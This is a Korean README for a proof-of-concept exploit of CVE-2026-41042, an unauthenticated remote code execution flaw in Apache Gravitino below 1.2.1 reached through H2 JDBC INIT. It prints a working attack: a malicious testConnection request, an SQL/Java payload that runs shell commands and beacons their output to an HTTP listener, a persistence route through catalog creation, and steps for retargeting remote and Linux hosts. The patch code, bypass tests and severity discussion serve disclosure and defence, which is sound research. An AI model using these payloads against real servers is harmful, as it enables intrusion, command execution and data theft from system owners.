
Apache Gravitino < 1.2.1의 인증되지 않은 RCE를 H2 JDBC INIT를 통해 악용합니다. SQL/Java 페이로드를 호스팅하고, 명령을 실행하며, HTTP 비콘을 통해 출력을 외부로 유출합니다.
CVE-2026-41042에 대한 자체 포함형(self-contained) 표준 라이브러리 전용 PoC: Apache Gravitino 1.2.1 미만에서 H2 JDBC INIT 연결 설정을 통한 인증 없는 원격 코드 실행. 인증 헤더 불필요, 추가 드라이버 불필요, pip 설치 불필요.
python3 poc_cve-2026-41042.py http://127.0.0.1:8090 --metalake test_ml --cmd whoami
이 스크립트는 SQL 페이로드와 출력 비콘을 호스팅하고, testConnection 요청을 전송한 다음 명령의 stdout을 직접 출력합니다.
CVE는 2026-07-08에 할당되었으며, 발견자는 Junjie Li(Xidian University)입니다. 이 취약점에 대한 첫 번째 공개 동작 PoC입니다. PoC 작성: Akinlabi.
| 취약 버전 | Apache Gravitino < 1.2.1 (gravitino-catalog-jdbc-common) |
| 수정 버전 | 1.2.1 |
| 보안 권고 | https://lists.apache.org/thread/vdh88wc6j5b38v65ncb111wbbnkf6bvm |
H2 1.4.200은 Gravitino의 libs/에 기본 엔티티 저장소 백엔드로 포함되어 있으므로 H2 드라이버는 이미 서버 클래스패스에 있습니다. 악용을 위해 추가 드라이버를 배포할 필요가 없습니다.
POST /api/metalakes/{metalake}/catalogs/testConnection(Jersey 리소스 org.apache.gravitino.server.web.rest.CatalogOperations#testConnection, 응답 형식 application/vnd.gravitino.v1+json)은 CatalogCreateRequest를 받습니다. properties.jdbc-url 값은 JDBC 드라이버에 대한 검증 없이 카탈로그 공급자의 연결 팩토리로 전달됩니다.
번들된 H2 드라이버(org.h2.Driver)와 H2 INIT 연결 설정을 사용하면 연결 시점에 임의의 SQL이 실행되며, CREATE ALIAS는 서버에서 임의의 Java를 컴파일하고 실행합니다. 이 엔드포인트는 인증을 요구하지 않습니다.
요구 사항: Python 3, 표준 라이브러리만 사용.
python3 poc_cve-2026-41042.py <target> [--metalake NAME] [--cmd CMD] [--port PORT]
| 옵션 | 기본값 | 설명 |
|---|---|---|
target | (필수) | Gravitino 서버, 예: http://127.0.0.1:8090 |
--metalake | test_ml | 카탈로그가 테스트될 메탈레이크 |
--cmd | whoami | 대상에서 실행할 명령 |
--port | 9000 | 페이로드 + 비콘 HTTP 서버용 로컬 포트 |
예제:
# Default run: whoami against the test_ml metalake
python3 poc_cve-2026-41042.py http://127.0.0.1:8090
# Custom command against a named metalake
python3 poc_cve-2026-41042.py http://10.0.0.5:8090 --metalake zeroauth_ml --cmd "ipconfig"
메탈레이크가 존재하지 않으면 먼저 생성하세요(이 역시 인증 없이 가능합니다):
curl -X POST http://<target>:8090/api/metalakes \
-H "Content-Type: application/json" \
-d '{"name":"test_ml"}'
127.0.0.1에서 두 개의 라우트를 가진 스레드 기반 HTTP 서버를 시작합니다. /poc.sql은 생성된 페이로드를 제공하고, /beacon?out=...은 명령 출력을 캡처합니다.{
"name": "h2rce",
"type": "RELATIONAL",
"provider": "jdbc-mysql",
"properties": {
"jdbc-url": "jdbc:h2:mem:t3f9a2c1;INIT=RUNSCRIPT FROM 'http://127.0.0.1:9000/poc.sql'",
"jdbc-user": "sa",
"jdbc-password": "",
"jdbc-driver": "org.h2.Driver"
}
}
CREATE ALIAS IF NOT EXISTS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
String l; StringBuilder sb = new StringBuilder();
while ((l = br.readLine()) != null) sb.append(l).append("\n");
br.close();
return sb.toString();
}
$$;
CREATE ALIAS IF NOT EXISTS BEACON AS $$
String beacon(String s) throws java.io.IOException {
java.net.URL u = new java.net.URL("http://127.0.0.1:9000/beacon?out=" + java.net.URLEncoder.encode(s, "UTF-8"));
u.openConnection().getInputStream().close();
return s;
}
$$;
CALL BEACON(SHELLEXEC('whoami'));
SHELLEXEC는 명령을 실행하고 stdout을 문자열로 반환합니다. BEACON은 이를 HTTP를 통해 리스너로 외부 유출하며, 스크립트는 최대 5초 동안 비콘을 폴링한 후 출력을 표시합니다.
jdbc-mysql 공급자의 드라이버 버전 검사(checkJDBCDriverVersion)는 연결이 초기화된 후에 실행되므로 오류는 표면적인 것에 불과합니다. INIT은 이미 실행되었기 때문입니다. 오류 경로가 곧 실행 경로입니다.실행마다 새로운 무작위 인메모리 데이터베이스 이름이 생성되므로(secrets.token_hex(6)) H2 별칭은 실행 간에 유지되지 않으며 모든 실행은 결정적입니다.
동일한 악성 jdbc-url은 POST /api/metalakes/{ml}/catalogs를 통해서도 동작하며, HTTP 200을 반환하고 H2 INIT URL을 카탈로그 구성에 영속화합니다. 이후 연결을 강제하는 어떤 작업이든 초기화 시점에 실행을 트리거합니다:
GET /api/metalakes/test_ml/catalogs/catreal/schemas
두 진입점 모두 동일한 initialize() -> DataSourceUtils.createDataSource 경로를 거치므로 1.2.1 수정 사항이 두 경우를 모두 포함합니다.
DataSourceUtils.createDataSource는 이제 H2 URL과 드라이버를 차단합니다(커밋 84d3de9c7c / 5daabcd0e, 1.3.0 트리에서 확인됨):
String decodedUrl = recursiveDecode(jdbcConfig.getJdbcUrl().toLowerCase());
if (decodedUrl.startsWith("jdbc:h2")) {
throw new GravitinoRuntimeException("H2 JDBC URL is not allowed in catalog configuration");
}
if (jdbcConfig.getJdbcDriver().toLowerCase().startsWith("org.h2.")) {
throw new GravitinoRuntimeException("H2 JDBC driver is not allowed in catalog configuration");
}
recursiveDecode는 URLDecoder를 최대 5회 실행하므로 접두사를 퍼센트 인코딩해도 검사를 우회할 수 없습니다. JdbcUrlUtils.validateJdbcConfig(createDBCPDataSource에서도 호출됨)는 알려진 안전하지 않은 MySQL/MariaDB/PostgreSQL 파라미터(autoDeserialize, allowLoadLocalInfile, socketFactory 등)를 추가로 차단합니다.
실제 H2 1.4.200으로 검사 로직의 복제본을 대상으로 테스트한 우회 시도: 앞뒤 공백, 6회 이상의 퍼센트 인코딩, 대소문자 및 탭 변형, 접미사 변형, 비-JDBC 공급자. 깔끔한 우회 방법은 발견되지 않았으며, H2 벡터는 1.2.1에서 확실하게 수정된 것으로 보입니다.
Apache는 H2가 개발/테스트 전용이고 Gravitino가 일반적으로 내부용이라는 점을 근거로 이 취약점을 낮음(low)으로 평가합니다. 그러나 기본 설치 환경은 이와 모순됩니다:
gravitino.authorization.enable=false일 때 testConnection과 createCatalog는 인증 없이 접근 가능합니다0.0.0.0:8090입니다현실적인 CVSS v3.1 추정치: ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), Gravitino 포트의 도달 가능성에 따라 달라집니다.
127.0.0.1에 바인딩됩니다. 이는 공격자와 대상이 동일한 호스트를 공유하는 랩 환경에 해당합니다. 원격 대상의 경우 make_payload()와 exploit()의 127.0.0.1 참조를 리스너 IP로 변경하세요.cmd.exe /c(Windows 랩)를 실행합니다. Linux 대상에서는 new String[]{"cmd.exe", "/c", cmd} 줄을 /bin/sh -c로 교체하세요.createCatalog 영속화 경로가 자동화되어 있지 않습니다. 위의 수동 요청을 사용하세요.승인된 보안 테스트 및 연구 용도로만 사용하십시오. 여기에 설명된 모든 기법은 로컬 랩에서 개발 및 검증되었습니다. 소유하지 않은 시스템을 대상으로 이 도구를 사용하는 것은 해당 관할권에서 불법일 수 있습니다.